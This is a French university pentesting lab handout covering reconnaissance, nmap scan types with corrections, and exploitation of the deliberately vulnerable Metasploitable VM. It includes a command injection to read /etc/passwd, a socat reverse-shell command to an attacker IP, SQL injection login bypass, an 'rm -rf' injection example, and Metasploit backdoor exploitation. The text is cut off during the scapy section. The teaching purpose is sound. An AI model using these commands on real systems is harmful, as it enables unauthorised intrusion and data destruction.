R316-CYBER
Méthodologie du pentesting
Travaux pratiques

Sami Evangelista

IUT de Villetaneuse

Département Réseaux et Télécommunications

2023–2024

http://www.lipn.univ-paris13.fr/~evangelista/cours/R316-CYBER

Table des matières

TP 1 — Collecte d'informations

Ce TP passe en revue différents outils pouvant être utilisés lors d'une phase de collecte d'informations d'un test d'intrusion. Il doit être réalisé sur une image debian (≥ 10).

Remerciements. Ce TP reprend des éléments d'un TP de Thierry Peyre (IUT de Lannion) que je remercie.

Exercice 1 — Reconnaissance de la cible

La première étape d'un test d'intrusion, l'étape de reconnaissance, consiste à collecter toutes les informations (noms DNS, adresses IP ou postales, services proposés, noms des responsables techniques, données des réseaux sociaux, ...) pouvant être pertinentes pour réaliser une intrusion. On distingue la reconnaissance *passive* (collecter des informations sans interagir avec le système cible) de la reconnaissance *active* (interaction directe avec la cible).

Lors de l'étape de reconnaissance on peut utiliser des outils généralistes comme dig ou whois ; ou conçus spécialement à cet effet comme ceux fournis par le serveur web de `dnsdumpster.com`.

dig C'est un client DNS. Sa syntaxe générale est la suivante :

```
$ dig @serveurDNS nom typeEnregistrement
```

L'argument `@serveurDNS` est optionnel. Dans ce cas, dig contactera le serveur indiqué dans `/etc/resolv.conf`. De même le `typeEnregistrement` est optionnel. Ce sera le type A par défaut.

I 1.1 Utilisez dig (avec l'option `+short` pour que dig ne soit pas trop bavard) pour récupérer les informations suivantes :
- Les IP des serveurs de nom de l'université Paris 13 (domaine `univ-paris13.fr`).
- Les IP des serveurs de messagerie de l'université.
- Le FQDN du serveur web de l'université (`www.univ-paris13.fr` étant un alias) et les IP qui lui sont associées.

Q 1.1 Quel peut être l'intérêt d'avoir plusieurs IP associées à un seul nom pour un serveur web ?

whois C'est un service de recherche fourni par les registres internet (organismes qui allouent des blocs d'IP) ou par les registres de noms de domaine (organismes qui gèrent les informations relatives au domaines de premier niveau, par exemple, l'AFNIC pour le domaine `.fr`). whois est aussi le nom d'un outil permettant d'interroger un serveur whois.

I 1.2 Utilisez whois pour obtenir des informations sur le domaine de l'université :

```
$ whois univ-paris13.fr
```

Q 1.2 Quel est le serveur whois qui a répondu ?
Q 1.3 Quel est le nom du registrar (l'organisme qui a enregistré le nom de domaine) ?
Q 1.4 Quelles informations sont utiles pour obtenir davantage d'informations sur le SI ou le personnel de l'université ?

I 1.3 Utilisez maintenant whois pour obtenir des informations sur le domaine `wikipedia.org`.

Q 1.5 Y-a-t-il des informations utiles pour obtenir davantage d'informations sur le SI ou le personnel de wikipedia ?

whois peut aussi être utilisé pour trouver le propriétaire d'une IP.

I 1.4 Trouvez le propriétaire de l'IP (ou d'une des IP) associée(s) au serveur web de l'université :

```
$ whois ip-du-serveur-web
```

Q 1.6 Quel est l'adresse du réseau de cette IP (champ `inetnum` ou `NetRange`) ?

dig peut ensuite découvrir d'autres hôtes de son réseau avec une résolution inverse (option `-x` de dig).

I 1.5 Utilisez dig pour découvrir trois autres hôtes du réseau du serveur web de l'université :

```
$ dig -x ip-d-un-hote
```

dnsdumpster Le serveur web `dnsdumpster.com` offre un service de découverte d'hôtes basé sur le protocole DNS.

I 1.6 Ouvrez un navigateur web à l'adresse `https://dnsdumpster.com/`.
I 1.7 Effectuez une recherche sur le domaine `gamekult.com`.

Q 1.7 Quelles sont les types d'enregistrements DNS trouvés (A, NS, CNAME, ...) ?
Q 1.8 Le site web gamekult fait appel à plusieurs compagnies pour héberger ses services. Lesquelles ?
Q 1.9 Quelle compagnie posséde les serveurs DNS faisant autorité sur `gamekult.com` ?
Q 1.10 Quelle compagnie posséde les serveurs d'envoi de mails vers des adresses en `@gamekult.com` ?
Q 1.11 Quelle compagnie posséde le serveur web `www.gamekult.com` ?
Q 1.12 Quel est l'intérêt pour gamekult, en terme de sécurité, d'avoir autant d'hébergeurs ?

Exercice 2 — Identification des vulnérabilités

Une fois la reconnaissance achevée, le pentester peut ensuite analyser la cible (par exemple, avec nmap que nous verrons en détail dans le TP suivant) et, à l'aide d'une base de données comme CVE (*Common Vulnerabilities Exposures*), identifier ses vulnérabilités. CVE recence de nombreuses vulnérabilités détectées dans des logiciels (serveur, client web, ...), systèmes d'exploitation ou équipements (switchs, routeurs, pare-feux, ...). Pour des raisons évidentes de sécurité une vulnérabilité n'est publiée qu'une fois qu'un correctif a été trouvé.

À titre d'exemple, nous allons identifier quelques vulnérabilités de l'hôte `scanme.nmap.org` mis à disposition par les développeurs de nmap à des fins de test ou pédagogiques. Vous avez donc le droit de lancer des opérations de balayage sur cet hôte.

I 2.1 Installez le paquet `nmap` s'il n'est pas présent sur le système.
I 2.2 Lancez un balayage nmap sur `scanme.nmap.org` pour connaître la version du service http qu'elle propose :

```
$ nmap -sV -p80 -P0 scanme.nmap.org
```

I 2.3 Recherchez sur `www.cvedetails.com` les vulnérabilités de cette version.

Q 2.1 Combien de vulnérabilités avez-vous trouvées ? Donnez les identifiants (*CVE ID*) des trois premières vulnérabilités découvertes.
Q 2.2 À quel(s) type(s) d'attaque(s) (*Vulnerability Type(s)*) ces vulnérabilités expose(nt)-elle(s) ?
Q 2.3 Décrire ces type(s) en quelques mots.

Exercice 3 — L'outil recon-ng

Recon-ng est un outil en ligne de commande permettant de collecter de nombreuses informations sur une cible en consultant des bases de données publiques (whois, serveurs DNS, shodan, réseaux sociaux, ...). Il a l'avantage de fournir une unique interface pour consulter plusieurs sources. De plus les données collectées sont stockées dans une base de données structurée, ce qui facilite la récupération et l'analyse de ces données.

I 3.1 Installez le paquet recon-ng puis utilisez le pour collecter les informations suivantes sur une cible de votre choix (p.ex., une compagnie ou un organisme public) :
- IP des hôtes dans le domaine ;
- noms et adresses mail de contacts ;
- adresses postales ;
- et toute autre information pertinente.

TP 2 — Exploit de vulnérabilités

L'objectif de ce TP est de montrer les conséquences réelles de quelques attaques classiques et de voir en pratique un outil permettant de mettre en œuvre une démarche de recherche et d'exploit de vulnérabilités.

Nous allons pour cela utiliser la machine virtuelle (VM) metasploitable fournie par les développeurs de metasploit à des fins pédagogiques. Cette VM contient intentionnellement de très nombreuses vulnérabilités. Nous allons en particulier voir comment le serveur web, mal programmé, permet certaines attaques et comment metasploit peut nous aider à exploiter plusieurs vulnérabilités des services proposés par la VM pour, par exemple, gagner un accès root sur la VM.

Exercice 1 — Installation et configuration de la VM

La VM sera lancée dans virtualbox.

I 1.1 Installez le paquet virtualbox (dans sa dernière version disponible) avec apt.

I 1.2 Téléchargez le fichier zip de la VM :
`https://lipn.univ-paris13.fr/~evangelista/cours/R316-CYBER/metasploitable-linux-2.0.0.zip`

I 1.3 Décompressez le fichier téléchargé (commande `unzip`).

I 1.4 Lancez virtualbox.

I 1.5 Dans l'interface graphique de virtualbox :

I 1.5.1 Créez une nouvelle VM avec les caractéristiques suivantes :
- nom : *meta*
- type : *Linux*
- version : *Other Linux (64-bit)*
- disque dur : sélectionnez le fichier `vmdk` obtenu après décompression du fichier zip téléchargé

Pour les autres paramètres, laissez la valeur par défaut.

I 1.5.2 Sélectionnez *Accès par pont* pour le *Mode d'accès réseau* de votre VM (voir les paramètres *Réseau* de la *Configuration* de la VM).

I 1.5.3 Démarrez la VM.

I 1.6 Dans le terminal de la VM :

I 1.6.1 Ouvrez une session avec le login `msfadmin` (mot de passe = `msfadmin`). Attention, le clavier est en qwerty.

I 1.6.2 Ouvrez une session root (`sudo su -`).

I 1.6.3 Passez le clavier en azerty :

```
$ loadkeys fr
```

I 1.6.4 Désactivez l'interface eth0 pour stopper le client DHCP.

I 1.6.5 Attribuez statiquement une IP à l'interface eth0. Vous prendrez l'IP de votre machine physique et ajouterez 100 au dernier octet.

I 1.6.6 Ajoutez une route par défaut via le routeur de la salle de TP.

I 1.6.7 Enfin ajoutez un serveur DNS par défaut en ajoutant la ligne suivante dans le fichier `/etc/resolv.conf` :

```
nameserver 9.9.9.9
```

I 1.6.8 Vérifiez votre configuration (adresse IP + route + serveur DNS) avec la requête DNS suivante :

```
$ dig +short www.lipn.univ-paris13.fr
194.254.163.36
```

I 1.6.9 Dans le code php du serveur web, il faut corriger un bug dans les paramètres de connexion à la base de données. Il faut pour cela modifier dans le fichier `/var/www/mutillidae/config.inc` le nom de la base de données qui n'est pas `metasploit`, mais `owasp10`.

I 1.7 Vérifiez également que votre VM répond bien aux pings de votre machine physique.

Exercice 2 — Vulnérabilités du serveur web

Dans cet exercice nous allons voir en pratique comment fonctionnent deux attaques pouvant cibler des serveurs web mal programmés : l'injection de commandes et l'injection SQL. Le principe de ces deux attaques est similaire. Dans le premier cas, on va faire exécuter au serveur web une commande quelconque qui n'est pas celle prévue par le programmeur du site. Dans le second cas, on va lui faire exécuter une requête SQL quelconque.

Le serveur web qui s'exécute sur votre VM est intentionnellement mal programmé pour permettre ces deux attaques. L'attaquant sera la machine physique.

I 2.1 Sur votre machine physique, ouvrez un navigateur à l'URL
`http://IP-de-la-VM/mutillidae/index.php?page=dns-lookup.php`

Cette page propose un client DNS en ligne.

I 2.2 Saisissez le nom `www.univ-paris13.fr` dans la zone de texte, puis cliquez sur le bouton *Lookup DNS*.

La soumission du formulaire provoque l'exécution par le serveur de la commande `nslookup www.univ-paris13.fr` (nslookup est un client DNS comme dig). Le résultat de la commande s'affiche dans la page web.

Q 2.1 Sachant qu'avec les plupart des shells le caractère `;` permet d'exécuter des commandes en séquence (par exemple : `ls ; pwd` exécute `ls` puis `pwd`) qu'est ce qu'un utilisateur mal intentionné peut taper dans la zone de saisie pour afficher le contenu du fichier `/etc/passwd` du serveur dans le navigateur ?

I 2.3 Testez votre hypothèse.

Ce type de faille est souvent exploité par l'attaquant pour ouvrir un *shell inversé*. Le principe est de faire exécuter par la cible (ici le serveur web) une commande qui va ouvrir un shell sur la machine de l'attaquant, comme si l'attaquant ouvrait une session sur la machine cible. On va pour cela utiliser la commande socat.

I 2.4 Dans le terminal de la machine physique, démarrez un serveur TCP en écoute (`-l` pour listen) sur le port 12345 :

```
$ nc -l -p 12345
```

Une fois la commande lancée, rien ne se passe : nc est en attente d'un client. Laissez nc en exécution.

I 2.5 Via le formulaire web, faites exécutez au serveur la commande suivante :

```
$ socat tcp-connect:IP-de-l-attaquant:12345 exec:"bash -li",pty,stderr,setsid,sigint,sane
```

Cette commande exécute un nouveau shell bash connecté au port 12345 de l'attaquant.

I 2.6 Revenez dans le terminal de l'attaquant dans lequel vous avez lancé `nc`.

Si l'attaque a fonctionné vous devriez voir le message d'invite `www-data@metasploitable:/var/www/mutillidae$` signifiant que le shell a été ouvert. L'attaquant est alors connecté en `www-data` (l'utilisateur système du serveur web) et a entre autres accès à toute l'arborescence du serveur web (le répertoire `/var/www`).

I 2.7 Affichez par exemple le contenu du fichier `/var/www/mutillidae/config.inc` pour voir les paramètres de connexion à la base de données.

I 2.8 Fermez le reverse shell de l'attaquant.

Passons maintenant à l'attaque d'injection SQL.

I 2.9 Dans votre navigateur, allez à l'URL
`http://IP-de-la-VM/mutillidae/index.php?page=login.php`

La page contient un formulaire de connexion. Supposons que l'utilisateur entre comme login `XXX` et comme mot de passe `YYY`. Le script de connexion exécuté après validation du formulaire va alors exécuter la requête suivante :

```
SELECT * FROM accounts WHERE username='XXX' AND password='YYY';
```

Si cette requête renvoie un enregistrement alors la connexion se fait avec succès.

Comme avec l'attaque précédente, il est possible d'entrer des valeurs particulières pour le login et/ou pour le mot de passe pour que la condition de l'instruction `SELECT` soit toujours évaluée à vrai (et donc pour se connecter à coup sûr).

Q 2.2 Qu'est ce qu'un utilisateur mal intentionné peut taper dans la zone de saisie du mot de passe pour se connecter en tant qu'utilisateur `admin` sans connaître le mot de passe ? Indications : vous pouvez saisir dans le champ du mot de passe les caractères `'` (pour terminer une chaîne de caractères) et `#` (pour marquer le début d'un commentaire).

I 2.10 Testez votre hypothèse et vérifiez que le message `Logged In Admin: admin` s'affiche bien.

Avec cette attaque, il est possible en théorie de faire exécuter n'importe requête SQL au serveur, y compris des requêtes de mise à jour (UPDATE, INSERT, ...).

Pour parer les attaques d'injection le programmeur du site web doit s'assurer des commandes ou requêtes exécutées. Cela peut se faire en ajoutant des vérifications dans les scripts et/ou en utilisant des caractères d'échappement avant les caractères spéciaux. Supposons par exemple que l'attaquant tente de faire exécuter par le serveur la commande `nslookup www.lipn.fr ; rm -rf *`. Une parade simple consiste à insérer un backslash avant le point-virgule, ce qui fera exécuter à la place la commande `nslookup www.lipn.fr \; rm -rf *`. Ceci annule l'attaque car ici le point-virgule n'est pas interprété par le serveur comme le séparateur de commande : il devient un simple argument de la commande `nslookup`.

Nous allons corriger le problème d'injection de commandes.

I 2.11 Dans le terminal de la VM, ouvrez le fichier `/var/www/mutillidae/dns-lookup.php` avec un éditeur.

I 2.12 Remplacez la ligne :

```
echo shell_exec("nslookup " . $targethost);
```

par :

```
echo shell_exec("nslookup " . str_replace(";", "\;", $targethost));
```

Ainsi, dans la commande exécutée par le serveur, le script insérera un backslash avant chaque point-virgule.

I 2.13 Suivez les instructions I 2.2 et I 2.3 pour vérifier que le script fonctionne toujours mais ne peut plus être attaqué.

Exercice 3 — Exploitation de vulnérabilités avec metasploit

Nous allons maintenant utiliser l'outil metasploit afin de détecter et d'exploiter d'autres vulnérabilités de la VM. Metasploit est un logiciel libre développé par l'entreprise Rapid7. C'est un outil de pentesting regroupant de nombreux scripts d'attaque permettant de tester simplement la vulnérabilité de machines cibles.

I 3.1 Metasploit n'est pas présent dans les dépôts debian. On ne peut donc pas l'installer avec apt. Mais Rapid7 fournit un script d'installation. Téléchargez et exécutez le script :

```
$ apt update
$ apt install curl wget gnupg2
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-
    framework-wrappers/msfupdate.erb > msfinstall
$ chmod +x msfinstall
$ ./msfinstall
```

Avant d'utiliser l'outil nous allons d'abord voir son mode de fonctionnement général et définir quelques termes.

Un *exploit* est un code permettant de pénetrer un système cible (dans notre cas la VM) en exploitant une de ses failles.

Le but d'un exploit est de faire exécuter un code malveillant au système cible. Ce code s'appelle un *payload*. Un payload classique est le lancement d'un terminal sur le système cible. Un autre exemple est la création d'un utilisateur pour que l'attaquant puisse se connecter à distance au système par la suite.

L'exploit n'est donc pas l'attaque en soi, c'est le moyen de réaliser l'attaque. L'attaque, c'est le payload.

La méthode que l'on suivra pour découvrir les failles exploitables de la VM est la suivante :

— scanner la cible (ports ouverts, numéros de version, ...)
— identifier les vulnérabilités (avec le moteur de recherche de metasploit, dans `https://www.cvedetails.com`, ...)
— trouver les exploits possibles pour les vulnérabilités
— si un exploit est possible : sélectionner un payload et lancer l'exploit.

Dans un premier temps nous allons voir comment exploiter une vulnérabilité critique du serveur FTP de la VM.

I 3.2 Lancez la console metasploit :

```
$ msfconsole
```

C'est dans cette console que l'on va pouvoir réaliser des exploits. Dans la suite du sujet nous utiliserons le message d'invite `msf >` pour les commandes spécifiques à la console metasploit.

I 3.3 Avec nmap, on scanne les ports TCP les plus courants de la VM :

```
$ nmap -P0 IP-de-la-VM
```

On voit alors que le port 21 (FTP) est ouvert.

I 3.4 Avec nmap, on scanne le port 21 de la VM pour trouver la version du serveur FTP :

```
$ nmap -sV -P0 -p21 IP-de-la-VM
```

I 3.5 On recherche ensuite un exploit dont la description ou le nom contient le mot `vsftpd` :

```
msf > search type:exploit vsftpd
```

La recherche nous renvoie un unique exploit appelé `exploit/unix/ftp/vsftpd_234_backdoor`, qui correspond au numéro de version renvoyé par nmap.

I 3.6 On peut obtenir des informations sur l'exploit :

```
msf > info exploit/unix/ftp/vsftpd_234_backdoor
```

Même si le nom de l'exploit est assez explicite, metasploit nous informe que l'exploit tire parti d'une vulnérabilité de VSFTPD v2.3.4 qui permet (voir la description) d'ouvrir une porte dérobée sur la victime.

I 3.7 On sélectionne cet exploit :

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
```

On voit alors que le message d'invite a changé, indiquant qu'un exploit a été sélectionné. De plus, un autre message nous indique qu'un payload par défaut a été sélectionné. C'est le payload `cmd/unix/interact`.

I 3.8 On peut aussir visualiser la liste des payloads disponibles pour cet exploit :

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

Le payload proposé par défaut est normalement le seul disponible.

I 3.9 On obtient des informations sur ce payload :

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > info cmd/unix/interact
```

La description dit grosso modo que le payload consiste en l'ouverture d'un shell sur l'hôte cible.
À ce stade, on a sélectionné un exploit et un payload. Il nous reste à indiquer l'IP et le port de la machine à attaquer.

I 3.10 On indique l'IP et le port à attaquer avec la commande `set` :

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST IP-de-la-VM
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
```

(`RHOST` signifie Remote Host, soit hôte distant. Normalement, `RPORT` devrait déjà avoir 21 pour valeur par défaut.)

I 3.11 Enfin on lance l'exploit :

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
```

Si l'attaque réussit (et elle doit réussir) un shell sur la VM doit alors s'exécuter dans la console metasploit. Attention, aucun message d'invite n'est affiché. Vous aurez la main après l'affichage du message `Command shell session ...`.

I 3.12 Affichez l'UID de l'utilisateur connecté (`echo $UID`). Vous verrez que l'attaque a permis d'obtenir un accès root sur la VM (l'UID vaut 0).

I 3.13 Fermez le shell.

Metasploit nous a donc permis de découvrir une faille critique dans notre VM concernant le serveur FTP.

I 3.14 En suivant les mêmes étapes (scanner, rechercher, sélectionner un exploit + un payload, ...), lancez un payload permettant de créer un utilisateur quelconque sur la VM (sans lancer de shell comme nous l'avions fait avec l'attaque précédente) en exploitant une faille du serveur irc.

I 3.15 Identifiez une troisième faille pouvant donner lieu à une attaque.

TP 3 — Scan de réseaux avec nmap

L'objectif de ce TP est d'étudier les différentes possibilités de l'outil de balayage réseau nmap et le fonctionnement des opérations de balayage usuels. Le TP se fera sous marionnet.

Attention : tout acte de balayage de réseau non autorisé est assimilé à une attaque et est donc répréhensible selon la loi française. L'utilisation d'un outil comme nmap doit se faire dans un cadre contrôlé (p.ex., un audit de sécurité) ou dans un environnement confiné (p.ex., une salle de TP, un réseau virtuel).

Exercice 1 — Création du réseau

Créez un réseau (10.0.0.0/24) composé de trois hôtés reliés à un switch :
— nmap (10.0.0.1) — l'hôte sur lequel nous utiliserons nmap ;
— cible (10.0.0.2) — l'hôte qui sera scanné par nmap ;
— machin (10.0.0.3) — un hôte qui servira uniquement à illustrer le fonctionnement de la découverte d'hôtes.

À la création de nmap, augmentez la mémoire disponible à 512 Mo, pour que wireshark s'exécute plus rapidement.

Pour nos tests de balayage nous utiliserons les ports 22 (ssh) et 80 (http) de l'hôte cible. Le premier sera ouvert et le second fermé. Par conséquent, sur l'hôte cible, le service ssh devra être démarré et le service apache2 arrêté.

Pour rappel, pour arrêter ou démarrer un service :

```
# /etc/init.d/<nom-du-service> start
# /etc/init.d/<nom-du-service> stop
```

(La commande `systemctl` n'est pas disponible sur les machines virtuelles de marionnet qui utilisent le système d'initialisation SysV init (plutôt que systemd qui est maintenant le système utilisé par la plupart des distributions).)

Dans la suite, tous les tests nmap devront être effectués en root. De plus, on utilisera systématiquement l'option `-n` qui désactive la résolution inverse. Celle-ci permet en temps normal d'afficher les noms des hôtes plutôt que leurs IP. Comme nmap n'a pas de moyen d'effectuer de résolution inverse, les tests nmap sont ralentis sans cette option.

Exercice 2 — Découverte d'hôtes

L'objectif de cet exercice est d'étudier les possibilités de découverte d'hôte offerte par nmap. On utilisera toujours dans cet exercice l'option `-sP` qui permet de sauter la deuxième étape de scan (et éviter de capturer trop de paquets).

I 2.1 Tout en capturant les paquets sur nmap, lancez le balayage suivant :

```
# nmap -n -sP 10.0.0.0/24
```

Q 2.1 Qu'affiche cette commande ?

Correction

Les hôtes actifs sur le réseau `10.0.0.0/24`. ◆

Q 2.2 En analysant le trafic capturé, expliquez le fonctionnement de cette méthode de découverte.

Correction

Envoi de requêtes ARP à toutes les IP du réseau. On considère comme actifs les hôtes qui répondent. ◆

Q 2.3 Cette méthode est la méthode par défaut pour découvrir les hôtes sur le même réseau local mais elle ne peut pas être utilisée pour découvrir les hôtes d'un autre réseau. Pourquoi ?

Correction

Les messages ARP ne passent pas les routeurs. ◆

Pour "simuler" une découverte sur un autre réseau nous utiliserons maintenant l'option `--send-ip`.

I 2.2 Tout en capturant les paquets sur nmap, lancez les deux balayages suivants :

```
# nmap -n -sP -PE --send-ip 10.0.0.2
# nmap -n -sP -PT1234 --send-ip 10.0.0.2
```

Q 2.4 En analysant le trafic capturé, expliquez le fonctionnement de ces deux méthodes (`-PE` et `-PT`) de découverte.

Correction

Méthode `-PE` : envoi d'une demande d'écho à la (ou aux) cible(s). Si on a une réponse, l'hôte est considéré comme actif.
Méthode `-PT` : envoi d'un paquet TCP SYN sur le port en argument (ici 1234). Si on a une réponse (quelle soit positive avec un SYN-ACK ou négative avec un RST), l'hôte est considéré comme actif. ◆

Dans la suite du TP vous utiliserez systématiquement l'option `-P0` de nmap pour sauter l'étape de découverte.

Exercice 3 — Balayages SYN et connect

Lorsque nmap est lancé avec des droits permettant d'envoyer des paquets bruts (paquets créés de toute pièce avec des champs IP, TCP, UDP, …, qui ne sont pas fixés par le système mais par le processus) sur le réseau (p.ex., par root), le balayage par défaut est de type SYN (option `-sS`). Nous allons d'abord étudier le fonctionnement de ce type de balayage.

I 3.1 Lancez un balayage SYN sur le port 80 de l'hôte cible.

Correction

```
# nmap -n -sS -P0 -p80 10.0.0.2
```

L'option `-P0` permet de sauter l'étape de découverte. ◆

I 3.2 Refaites le test avec le port 22.

Correction

```
# nmap -n -sS -P0 -p22 10.0.0.2
```

◆

Q 3.1 Expliquez le fonctionnement du balayage SYN et les résultats observés.

Correction

Envoi d'un paquet TCP SYN vers la cible. Si on reçoit un paquet RST en réponse on en déduit que le port est fermé. Si on reçoit en réponse un paquet SYN-ACK on en déduit que le port est ouvert (et on envoie un RST en réponse au SYN-ACK). Si on ne reçoit rien, on en déduit que le port est filtré. ◆

Si l'utilisateur ne possède pas ce droit (la possibilité d'envoyer des paquets bruts), c'est le balayage de type connect (option `-sT`) qui est effectué par défaut.

I 3.3 Refaites les tests précédents en activant l'option `-sT` à la place de `-sS`.

Q 3.2 Quelle différence observe-t-on par rapport au balayage SYN dans le cas d'un port ouvert (22 dans notre cas) ?

Correction

nmap n'envoie pas de RST en réponse au SYN-ACK. La connexion en trois temps est effectuée, puis le RST est envoyé. ◆

Le balayage SYN ne respecte pas la phase de connexion TCP classique (poignée de mains en trois temps). Or, lorsqu'un processus n'a pas le droit d'envoyer des paquets bruts, il doit faire appel à la primitive connect du système d'exploitation (qui, elle, effectue une connexion propre, en trois temps) comme c'est le cas avec le balayage connect. D'où la nécessité d'avoir ce droit avec le balayage SYN.

Q 3.3 Quel avantage y-a-t-il pour un attaquant d'utiliser le balayage SYN (par rapport au balayage connect) ?

Correction

Le balayage SYN est plus discret car (1) il envoie moins de paquets et (2), la connexion TCP n'étant pas finalisée, il y a moins de chance qu'elle soit enregistrée dans les journaux du serveur. ◆

Exercice 4 — Balayages Xmas, Fin et Null

Ces trois types de balayages, très similiaires dans leur fonctionnement, requièrent également le droit d'envoyer des paquets bruts. Ils jouent sur les différents bits de contrôle TCP (SYN, ACK, FIN, ...) et exploitent une faille de conception de TCP (dans la RFC 793, voir le manuel de nmap).

I 4.1 Testez les trois balayages (option `-sX` pour Xmas, `-sF` pour FIN, `-sN` pour Null) sur les ports 22 et 80 de la cible tout en capturant les trames avec wireshark.

Q 4.1 Expliquez le fonctionnement du balayage Xmas (bien observer, avec wireshark, les différents bits de contrôle TCP activés par nmap) et les différents états de port constatés par nmap (selon l'état du port balayé).

Correction

nmap envoie un paquet avec les bits FIN, PSH et URG activés vers la cible. Si aucune réponse n'est reçu, le nmap en conclut que le port est soit ouvert, soit filtré. Si un RST est reçu en réponse, nmap en conclut que le port est fermé. ◆

Q 4.2 Même question pour le balayage Fin.

Correction

Même principe en activant uniquement le bit FIN. ◆

Q 4.3 Même question pour le balayage NULL.

Correction

Même principe en n'activant aucun bit. ◆

Q 4.4 Quels sont les avantages et inconvénients de ces trois types de balayage par rapport aux balayages SYN et connect ?

Correction

Ces tests sont plus discrets, mais nmap ne peut jamais conclure avec certitude qu'un port est ouvert. ◆

Exercice 5 — Balayage ACK

Ce type de balayage (option `-sA`) peut fournir des informations sur un éventuel pare-feu bloquant le trafic entre la cible et la machine de scan.

I 5.1 Lancez un balayage ACK vers le port 22 de la cible.

Q 5.1 Quel état nmap associe-t-il alors au port ?

Correction

non filtré ◆

I 5.2 Sur l'hôte cible, exécutez la commande suivante qui configure le pare-feu pour bloquer les paquets entrants :

```
$ iptables -P INPUT DROP
```

I 5.3 Relancez un balayage ACK vers le port 22 de la cible.

Q 5.2 Quel état nmap associe-t-il maintenant au port ?

Correction

filtré ◆

Q 5.3 En recherchant sur internet, ou en consultant le manuel, expliquez le fonctionnement de ce type de balayage.

Correction

nmap envoie un paquet en positionnant uniquement le bit ACK à 1. Si le paquet n'est pas bloqué par un pare-feu, la cible renvoie un paquet RST et nmap conclut que le port est non filtré. Si aucune réponse n'est reçu ou si un paquet ICMP d'erreur est reçu, alors le port est considéré comme filtré.
(Ce test sert surtout à savoir si un pare-feu stateful est entre la cible et la machine de scan (voir module *Infrastructures de sécurité* en S4).) ◆

I 5.4 Sur l'hôte cible, exécutez la commande suivante qui configure le pare-feu pour accepter les paquets entrants :

```
$ iptables -P INPUT ACCEPT
```

Exercice 6 — Prise d'empreinte TCP/IP

Les RFC définissant les protocoles réseau contiennent souvent des ambiguïtés, voire des incohérences. C'est alors au développeur du système d'exploitation de lever ces ambiguïtés ou de résoudre ces incohérences dans son code. Il arrive aussi que le système agisse de manière erroné en ne respectant pas une RFC. Ces raisons font que deux systèmes différents ne répondront pas nécessairement de la même manière à un même paquet.

La prise d'empreinte TCP/IP (option `-O`) consiste à envoyer à la cible divers paquets TCP, UDP et ICMP spécifiques. Les réponses constituent l'*empreinte* TCP/IP de la cible. Celle-ci est ensuite comparée par nmap à diverses empreintes de systèmes connus (et stockées dans le fichier `/usr/share/nmap/nmap-os-db`) pour déterminer le système de la cible. Toutefois, le procédé n'est pas infaillible. Par exemple, si les réponses reçues ne correspondent à aucune des empreintes de la base, nmap ne pourra pas répondre avec certitude mais seulement émettre une hypothèse.

I 6.1 Lancez une prise d'empreinte TCP/IP sur la cible en activant l'option `-vv` (mode très verbeux).

Q 6.1 Quelle est la version du système d'exploitation de la cible ?

Nmap affiche le détail de sa prise d'empreinte après la ligne `TCP/IP fingerprint:`.

Q 6.2 Dans la dernière ligne de ce détail, trouvez et donnez le code de retour du test nommé `CD`.
Q 6.3 En consultant la documentation à l'URL `https://nmap.org/book/osdetect-methods.html#osdetect-cd` expliquez en quoi consiste ce test et le résultat observé par nmap.
Q 6.4 Le système de la cible agit-il correctement dans ce cas ?

Exercice 7 — Détection de versions

Le scan de détection de version (option `-sV`) permet de détecter les versions des services rendus par la cible. Pour cela, nmap va effectuer un certain nombre de tests indiqués dans le fichier `nmap-service-probes` (probe = sonder) qui se trouve généralement dans le répertoire `/usr/share/nmap/`.

I 7.1 Lancez un scan pour trouver la version du service ssh s'exécutant sur l'hôte cible en activant, pour avoir un détail des opérations effectuées, l'option `--version-trace`. Nmap étant alors très bavard, sauvegardez le résultat de la commande, à l'aide d'une redirection, vers un fichier quelconque que nous nommerons `truc` dans la suite.

Correction

```
$ nmap --version-trace -sV -p22 10.0.0.2 > truc
```
◆

I 7.2 Recherchez dans le fichier `truc` une ligne de la forme

```
Service scan match (Probe <TEST> matched with ... line <N>) ...
```

`<TEST>` correspond alors au nom du test dans le fichier `nmap-service-probes` qui a fonctionné. `<N>` est le numéro de la ligne dans ce même fichier qui correspond à la réponse envoyée par le service cible en réponse à ce test.

Q 7.1 Quel est le nom du test qui a permis de déterminer la version du service ssh ? Décrivez en quoi consiste ce test. Retrouvez pour cela dans le fichier `nmap-service-probes` la ligne commençant par `Probe TCP <TEST>` avec `<TEST>` à remplacer par le nom du test trouvé dans le fichier `truc`.

Correction

C'est le test `NULL`, le test de la bannière, défini dans le fichier `nmap-service-probes` comme :

```
Probe TCP NULL q||
```

On ouvre une connexion TCP sur le port, on envoie aucune donnée et on attend des données du serveur (la bannière). ◆

I 7.3 Démarrez le service apache2 sur l'hôte cible.
I 7.4 Suivez à nouveau les instructions I 7.1 et I 7.2 mais, cette fois-ci, pour le port 80.

Q 7.2 Quel est le nom du test qui a été positif dans ce cas ? Décrivez en quoi consiste ce test.

Correction

C'est le test `GetRequest` qui consiste à envoyer une requête HTTP GET.

```
Probe TCP GetRequest q|GET / HTTP/1.0\r\n\r\n|
```

La réponse contient l'identification du service (champ d'en-tête HTTP `Server`). ◆

TP 4 — Attaques sur TCP avec scapy

L'objectif de ce TP est d'expérimenter des attaques réseau basées sur TCP à l'aide du paquet python *scapy*. Le TP est à faire sur marionnet à partir du projet disponible à cette adresse :
`https://www-lipn.univ-paris13.fr/~evangelista/cours/R316-CYBER/R316-scapy.mar`

Le réseau est composé de 3 PC connectés à un hub. L'hôte scapy est celui depuis lequel nous expérimenterons les attaques visant à perturber les connexions telnet entre le client et le serveur. Le paquet scapy y est déjà installé.

Vous trouverez en page 15 des rappels sur scapy.

Votre compte-rendu devra contenir les codes des scripts ainsi que des copies d'écran et explications des tests effectués.

Exercice 1 — Travaux préliminaires

I 1.1 Ouvrez le projet et démarrez tous les équipements.
I 1.2 Ouvrez une session root sur chaque hôte.
I 1.3 Attribuez les IP suivantes aux hôtes :
- client : 10.0.0.1/24
- serveur : 10.0.0.2/24
- scapy : 10.0.0.100/24

Dans la suite, on utilisera telnet pour tester nos attaques. Voici, pour rappel, les instructions pour l'utiliser.

I 1.4 Sur le serveur : lancez le service inetd :

```
